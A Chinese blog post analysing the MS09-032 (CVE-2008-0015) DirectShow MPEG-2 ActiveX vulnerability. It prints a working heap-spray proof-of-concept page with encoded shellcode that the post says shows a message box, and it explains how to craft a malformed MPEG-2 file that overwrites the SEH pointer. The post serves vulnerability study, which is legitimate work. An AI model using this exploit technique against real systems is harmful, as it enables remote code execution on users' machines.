通过异常处理机制实现漏洞利用

2019-07-03 约 333 字 预计阅读 2 分钟

声明:本文 【通过异常处理机制实现漏洞利用】 由作者 逆向的黑 于 2019-07-03 08:44:00 首发 先知社区 曾经 浏览数 116 次

感谢 逆向的黑 的辛苦付出!

0x1:MS09-032简介

2009 年 7 月 5 日,微软爆出了 MPEG-2 视频漏洞,也就是著名的 Microsoft DirectShow MPEG-2 视频 ActiveX 控件远程代码执行漏洞。该漏洞微软编号为 MS09-032,CVE 编号为 CVE-2008-0015,对应补丁号为 KB 973346。 该漏洞存在于微软 DirectShow 组件 msvidctl.dll 中,文件路径: C:\WINDOWS\system32 \ msvidctl.dll,程序员由于粗心大意,将传入参数 buff 误写为&buff,而&buff 附近恰巧存放着 S.E.H 异常处理函数指针,于是可以通过覆盖 S.E.H 并结合 Heap spray 技术实现 exploit。 该漏洞几乎影响到微软当时全部的操作的系统。由于 Vista 和 2008 操作系统上具有一些保护机制,虽然存在漏洞,但是 exploit 代码不能被轻易执行。

0x2:Windows 异常处理机制简介

操作系统或程序在运行时,难免会遇到各种各样的错误,如除零、非法内存访问、文件打开错误、内存不足、磁盘读写错误、外设操作失败等。为了保证系统在遇到错误时不至于崩溃,仍能够健壮稳定地继续运行下去,Windows 会对运行在其中的程序提供一次补救的机会来处理错误,这种机制就是异常处理机制。 S.E.H 即异常处理结构体(Structure Exception Handler),它是 Windows 异常处理机制所采用的重要数据结构。每个 S.E.H 包含两个 DWORD 指针:S.E.H链表指针和异常处理函数句柄,共8个字节:
DWORD: Next S.E.H recoder
DWORD: Exception handler
对S.E.H需要知道以下几个基本要点:
(1)S.E.H 结构体存放在系统栈中;
(2)当线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理;
(2)栈中一般会同时存在多个 S.E.H;
(3)栈中的多个 S.E.H 通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表顶端的S.E.H 通过 T.E.B(线程环境块)0 字节偏移处的指针标识;
(4)当异常发生时,操作系统会中断程序,并首先从 T.E.B 的 0 字节偏移处找到距离栈顶近的 S.E.H,然后使用异常处理函数句柄所指向的异常处理函数来处理异常,如果这个异常处理函数处理失败,就顺着 S.E.H 链表依次尝试其他的异常处理函数;
(5)如果所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

0x3:实验环境准备

操作系统:XPSP3
调试器:OD,IDA
浏览器版本:IE7
Msvidctl.dll 版本 6.5.2600.5512

0x4:通过POC分析漏洞原理

因为这是一个浏览器中的ActiveX 控件漏洞,所以我们需要用一个 POC 页面来触发这个漏洞。

<html>   
<body>   
<div id="DivID"></div> 
<script>   
var nop="\u9090\u9090"; 
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\ u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8 b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\ u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\ u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\ u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857"; 
//shellcode用于弹出一个MessageBox的对话框
while(nop.length<=0x100000/2)
 {    nop+=nop; //生成一个大小为1M的充满nop的数据块
} 

nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);//减去一些额外信息,使内存片大小为1M
 var slide = new Array();
 for(var i=0;i<200;i++)
 {   
slide[i] = nop + shellcode;//nop的大小接近1M,shellcode只有几十字节,这样的“nop+shellcode“的组合形式会提高exploit的命中率,这样的组合有200个;
 } 
var myObject=document.createElement('object');
 DivID.appendChild(myObject);
 myObject.width='1';
 myObject.height='1'; 
myObject.data='./logo.gif';//加载畸形文件,用来触发异常
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'; 
</script>   
</body>   
</html>

POC使用了 Heap spray 技术。首先通过 Heap spray 技术占领内存,JavaScript 会从内存低址向高址分配内存,因此申请的内存超过 200MB(200MB=200 ×1024×1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 处的数据就会被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 处的的数据,shellcode就能得到执行。然后通过向 svidctl.dll 中加载畸形文件来触发异常,最后在程序触发异常的时候,修改S.E.H的异常处理函数指针,使其指向shellcode所在地址从而劫持程序流程。

因为 POC 页面是靠覆盖程序的 S.E.H 来劫持程序流程的,所以程序会在某个位置发生异常,可以从出现异常的位置入手来分析。首先设置 OllyDbg 可以捕获所有异常,然后用 OllyDbg 加载 IE,并打开 POC 页面,OllyDbg 会在异常处中断,通过OD菜单栏的“查看”>“S.E.H链”即可看到异常处理结构体:

在OD中可以看到异常发生的位置是0x59F0D5A8,异常发生的原因是计算机在执行该地址处的“cmp dword ptr [ebx+8], esi”指令时,需要读取ds:[00000028]处的数据,可是这是一处无效的内存地址,所以产生了一个读取错误的异常,发成这个异常的时候,S,E,H的异常处理函数指针已经被覆盖为0x0C0C0C0C;

接下来,程序将会被引导去执行异常处理函数,而函数地址被修改为0x0C0C0C0C,该处的内存数据被覆盖为nop,eip滑过nop就会遇到shellcode,可以通过“”查看>”SHE链”调出异常处理的对话框,然后在对话框中的SHE上右键>”跟随句柄”,就会看到0x0C0C0C0C处的内存数据被nop覆盖了:

接着我们看看shellcode是怎么被写进内存中的,并看看对应漏洞的原理。这里先要知道异常代码所在的函数,把漏洞所在的msvidctl.dll用IDA反汇编,然后按G并输入异常发生的位置0x59F0D5A8,接着向上回溯就会找到所属函数的位置0x59F0D3BA,

因为0x59F0D5A8的内存地址是系统领空,不属于用户领空,所以在这个位置下断点要用硬件断点,重新加载IE来运行POC以跟踪SHE的状态,发现此时SHE的指针还未被覆盖:

于是接着单步执行程序,运行完 0x59F0D469 处的 CALL 0x59F0D3BA 程序会出现异常。 在函数体内调用自身,看得出这是一个递归调用,

去掉 0x59F0D3BA 处的硬件断点,在0x59F0D469 处下硬件执行断点,用 OllyDbg 重新运行 IE 并打开 POC 页面。程序在 0x59F0D469 处中断后按 F9 键让程序继续运行,由于这是一个递归调用所以程序还是会在 0x59F0D469 处中断,我们继续按 F9 键,程序出现异常,这说明异常出现在第二次递归调用的时候。 用 OllyDbg 重新运行 IE 并打开 POC 页面,程序在 0x59F0D469 处中断后按 F9 键让程序继续运行,程序再次中断在 0x59F0D469时就按 F7单步进入这个 CALL 然后F8步过执行,执行过程中要时刻关注S.E.H 链的状态。程序执行完 0x59F0D4D4 处的CALL 0x59F0D61E 后 S.E.H 的异常处理函数指针被修改了,漏洞具体信息应该就在这个CALL里了:

依然用 OllyDbg 重新运行 IE 并打开 POC 页面, 程序在 0x59F0D469 处中断后我们按 F9 键让程序继续运行,程序再次中断在 0x59F0D469 后对 0x59F0D4D4 下断点,然后按 F9 键让程序在 0x59F0D4D4 处中断,接着跟入这个 CALL,然后单步执行并留意 S.E.H 的状态,会发现程序在执行完 0x59F0D74D 处的 CALL 后 S.E.H 的异常处理函数指针被修改了,

先在“调试”>”硬件断点”中把之前的硬件断点删除,然后在0x59F0D74D下一个硬件断点,然后重载IE运行POC,程序在0x59F0D74D断下,F7进入函数后F8步过执行,当执行完0x7E9821C0处的ReadFile函数后,SHE的异常处理函数指针被修改:

ReadFile函数将文件数据读取到一个缓冲区中:

该函数本身是没问题的,所以可以推测是调用这个函数时传递的参数存在问题。用 IDA 打开 Msvidctl.dll,可以看到 0x59F0D74D 附近的反汇编代码如下:

从代码中 0x59F0D732~0x59F0D737 的操作可以看出 EBP+8 处应该是一个局部变量,用来保存前面申请的安全数组的指针。当我们往这个数组写数据时只需要从 EBP+8 处取出这个指针即可,转换成汇编后应为 MOV **,[EBP+8],但是程序却执行了 LEA ECX,[EBP+8],这样的话传递给ReadFile函数的参数不是[EBP+8]而成了EBP+8。这就相当于传递参数时将 buff 写成了&buff。正常情况下,这个指针([EBP+8])的作用是让函数把数据读取到申请好的数组;现在这个指针直接被当成地址用了,这是完全不同的两个值,读取到的数据就被放到了另外的地址(EBP+8),函数的原有功能被破坏了,更糟的是这个错误地址离SHE结构体不远,这样就可以人为来构造数据去覆盖SHE异常处理函数的指针来劫持程序。

这里需要一个能够触发这个漏洞的畸形的 MPEG-2 文件。再次用 OllyDbg 重新运行 IE 并打开 POC 页面,(通过硬件断点)在 0x59F0D74D 处中断程序,这时函数会将文件中的数据部分错误地写到 0x1E09200 开始的内存中,而距离这个位置最近的 S.E.H 句柄位于 0x01E0922C,相差48字节,所以只要待读取文件的数据部分长度大于 48 个字节就可以覆盖掉 S.E.H 的异常处理函数指针。

只要在MPEG-2 文件数据部分的 41~48 字节部分放置 0xFFFFFFFF 和0x0C0C0C0C 就可以伪造 S.E.H结构体了,读取到畸形文件的时候,触发异常,然后通过异常处理函数指针去执行shellcode。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now